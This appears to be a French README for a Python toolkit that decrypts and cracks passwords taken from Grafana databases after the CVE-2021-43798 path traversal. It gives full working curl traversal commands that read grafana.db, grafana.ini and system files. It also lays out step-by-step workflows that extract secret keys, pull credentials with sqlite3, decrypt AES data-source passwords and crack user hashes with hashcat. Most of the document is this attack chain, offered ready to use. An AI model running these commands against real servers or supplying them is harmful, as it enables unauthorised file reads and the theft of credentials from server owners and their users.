
Boîte à outils Python pour le déchiffrement AES-256 et le cassage de mots de passe PBKDF2 provenant de bases de données Grafana, généralement associé à (CVE-2021-43798)
Kit Python pour déchiffrer et casser les mots de passe Grafana à partir de multiples formats.
Codé par : strikoder
Gère deux types de stockage de mots de passe Grafana :
data_source) → Déchiffrez directement avec AESDecrypt.pyuser) → Convertissez pour Hashcat avec grafana2hashcat.pyParfait pour la post-exploitation après le path traversal CVE-2021-43798.
Une vulnérabilité de path traversal dans les versions 8.0.0-beta1 à 8.3.0 de Grafana qui permet à des attaquants non authentifiés de lire des fichiers arbitraires sur le serveur, y compris :
/etc/grafana/grafana.ini)/var/lib/grafana/grafana.db)/etc/passwd)Exemple d'exploitation :
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is --output grafana.db
Ce kit complète la chaîne d'attaque en déchiffrant/cassant les mots de passe que vous extrayez de la base de données.
Déchiffre les mots de passe chiffrés en AES-256 de la table data_source.
Basé sur : jas502n/Grafana-CVE-2021-43798 avec des améliorations clés :
Convertit les hachages PBKDF2_HMAC_SHA256 de Grafana de la table user au format compatible Hashcat pour le cassage de mots de passe.
Crédit : iamaldi/grafana2hashcat
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #for Decyrption
chmod +x AESDecrypt.py grafana2hashcat.py
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
python3 AESDecrypt.py -f hashes.txt
Extrayez la clé secrète de la configuration Grafana :
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key
python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY
python3 grafana2hashcat.py grafana_hashes.txt
Format d'entrée (grafana_hashes.txt) :
hash1,salt1
hash2,salt2
hash3,salt3
Sortie (prête pour Hashcat) :
sha256:10000:base64_salt:base64_hash
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
hashcat -m 10900 hashcat_hashes.txt wordlist.txt
# 1. Extract secret key from grafana.ini (might be empty in some cases, use default key in python program in that case)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
--path-as-is | grep secret_key
# 2. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 3. Extract AES-encrypted passwords from data_source table
sqlite3 grafana.db "SELECT name, password FROM data_source;"
# 4. Save passwords to file (one per line)
# Example: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
# 5. Decrypt with extracted secret key
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]
# 0. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 1. Extract PBKDF2 password hashes from user table
sqlite3 grafana.db "SELECT login, password, salt FROM user;"
# 2. Format hashes for grafana2hashcat (hash,salt format)
# Example format in grafana_hashes.txt:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper
# 3. Convert to Hashcat format
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
# 4. Crack with Hashcat (mode 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt
⭐ Utile ? Mettez-lui une étoile !
Codé par strikoder
| Type de mot de passe | Table de base de données | Format | Outil | Mode Hashcat |
|---|
| Chiffré AES-256 | data_source | Chaîne Base64 | AESDecrypt.py | N/A (déchiffrement direct) |
| PBKDF2_HMAC_SHA256 | user | Hachage hex + sel | grafana2hashcat.py | -m 10900 |